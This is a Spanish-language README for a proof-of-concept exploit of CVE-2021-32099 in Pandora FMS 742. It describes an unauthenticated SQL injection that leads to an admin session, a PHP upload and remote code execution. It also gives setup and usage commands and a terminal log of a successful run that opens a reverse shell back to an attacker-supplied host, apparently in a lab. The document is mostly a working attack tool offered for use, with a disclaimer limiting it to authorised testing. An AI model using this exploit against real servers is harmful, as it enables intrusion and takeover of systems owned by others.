magicrc/cve-2021-32099PoC para CVE-2021-32099
Este repositorio proporciona un exploit de prueba de concepto (PoC) para la vulnerabilidad CVE-2021-32099, que afecta a Pandora FMS 742. El exploit muestra cómo un atacante no autenticado puede aprovechar una vulnerabilidad de inyección SQL para elevar una sesión sin privilegios a una cuenta de nivel administrador. Con acceso administrativo, el atacante puede subir un archivo PHP arbitrario a través del Administrador de Archivos de Pandora FMS, lo que resulta en la ejecución remota de código y compromete el servidor como el usuario del servidor web.
Este proyecto está destinado exclusivamente a fines educativos, de investigación y pruebas de seguridad autorizadas.
No utilice este código en sistemas que no le pertenezcan o para los que no tenga permiso explícito de prueba.
El autor no es responsable de ningún daño o uso indebido.
python3 -m venv .venv && source .venv/bin/activate && pip install -r requirements.txt
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py
usage: python3 ./CVE-2021-32099.py [--target TARGET] [--lhost LHOST] [--lport LPORT]
options:
--target TARGET Full URL of the vulnerable Pandora FMS instance.
--lhost LHOST IP address where the reverse shell will connect back to (must be reachable by the target). The listener will bind to 0.0.0.0 internally.
--lport LPORT Port number the reverse shell listener will bind to.
Example: python3 ./CVE-2021-32099.py --target http://target.com --lhost 10.10.14.157 --lport 4444
┌───(magicrc㉿perun)-[~/code/CVE-2021-32099]
└─$ python3 ./CVE-2021-32099.py --target http://localhost --lhost 10.10.14.81 --lport 4444
[+] Bypassing authentication...OK
[+] Uploading reverse shell...OK
[+] Trying to bind to :: on port 4444: Done
[+] Waiting for connections on :::4444: Got connection from ::ffff:10.129.177.29 on port 37308
[+] Executing reverse shell...
[*] Switching to interactive mode
Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
06:59:07 up 17:30, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=1000(matt) gid=1000(matt) groups=1000(matt)
/bin/sh: 0: can't access tty; job control turned off
$